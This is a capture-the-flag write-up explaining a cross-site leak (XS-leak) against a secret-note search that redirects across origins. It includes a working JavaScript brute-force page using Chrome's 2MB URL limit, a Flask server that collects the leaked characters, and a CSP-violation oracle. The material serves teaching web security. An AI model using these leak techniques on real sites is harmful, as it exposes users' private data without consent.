secrets

XS leak through cross-origin redirects — intended and unintended

Overview

A secure and secret note storage system is a platform or application designed to keep your confidential notes safe from unauthorized access.

The challenge revolved around searching contents of secret notes.

Let's examine the behaviour of the search feature.

When searching for a note through /search?query=<query>, there are two possible responses:

  1. The note was found.

In this case, a 301 redirect is issued to http://results.wtl.pw/results?ids=<note UUIDs>&query=<query>.

HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:48:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 357
Connection: close
Location: http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&query=test
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test">http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test</a>. If not, click the link.

It is important to note that this is a redirect to a different subdomain. Searching on secrets.wtl.pw redirects to results.wtl.pw.

  1. The note was not found.

In this case, a 301 redirect is issued to http://secrets.wtl.pw/#<query>.

HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:51:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 241
Connection: close
Location: http://secrets.wtl.pw/#asdf
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://secrets.wtl.pw/#asdf">http://secrets.wtl.pw/#asdf</a>. If not, click the link.

Unintended Solution — Chrome's 2MB URL Limit

One thing that might be immediately noticeable is that if the note was found, then the resulting URL length is extended considerably by the ids parameter.

A well-known technique in these kinds of scenarios is hitting the server's maximum URL limit, and detecting error status codes. However, these rely on SameSite=None cookies for the error event detection.

The challenge had SameSite=Lax cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through window.open). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to detect the URL inflation.

We might not be able to detect a server-side URL length error, but can we somehow detect a client-side one? According to Chromium documentation, Chrome's maximum URL length is 2MB.

In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

This is where it gets interesting! Because this is a client-side constraint, and URL fragments persist on redirects, we can open /search?query=<query>#AAA...[2MB]...AAA to hit the length limit.

So, what happens when the URL limit is exceeded?

Apparently, it shows an about:blank#blocked page.

As you might expect, trying to access the origin (or any other sensitive information) of a cross-origin window reference would raise an exception.

However, when opening a page that errors out due to the 2MB constraint, the window's origin remains that of the parent.

As an experiment, let's try a successful query.

let url = "http://secrets.wtl.pw/search?query=test#"
let w = window.open(url + "A".repeat(2 * 1024 * 1024 - url.length - 1))

The length of the opened URL

http://secrets.wtl.pw/search?query=test#AAA...AAA

is exactly 2MB - 1, so the initial search URL is just under the length limit.

When the window is redirected to

http://results.wtl.pw/results?ids=<note UUIDs>&query=test#AAA...AAA

the URL is extended and the length limit is hit. The window becomes an about:blank page and its origin remains that of the parent.

Now, if we try the same thing on an unsuccessful query, the final redirected URL falls short of the 2MB limit and the window's origin is no longer accessible.

This can be extended to the following PoC, which brute-forces a character of the flag.

<html>
<body></body>
<script>
    (async () => {

        const curr = "http://secrets.wtl.pw/search?query=HackTM{"

        const leak = async (char) => {
            
            fetch("/?try=" + char)
            let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
            
            const check = async () => {
                try {
                    w.origin
                } catch {
                    fetch("/?nope=" + char)
                    return
                }
                setTimeout(check, 100)
            }
            check()
        }

        const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

        for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise(resolve => setTimeout(resolve, 50))
        }
    })()
</script>
</html>

Because this PoC only tells us what is definitely not the flag (by detecting the w.origin errors), we can implement a backend server to quickly find what is the flag by eliminating the unsuccessful queries from the charset.

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars
    
    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

The downside of this method is that the long URLs can cause significant lag on the server's admin bot. This may or may not have made the bot extremely unstable for a period of time... oops!

Intended Solution — CSP Violation

It turns out that there is a much faster and less laggy way of detecting the redirects. Because the redirect is to a different origin, we can use CSP violations as an oracle.

<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="get">
    <input type="text" name="query" value="test">
</form>

<script>
    document.addEventListener('securitypolicyviolation', () => {
        console.log("CSP violation!")
    });
    document.forms[0].submit();
</script>

Because the query was successful, the window attempted to load http://results.wtl.pw. But since our CSP dictates that forms can only be submitted to http://secrets.wtl.pw, the request was blocked. We can detect this through the securitypolicyviolation event listener.

Last updated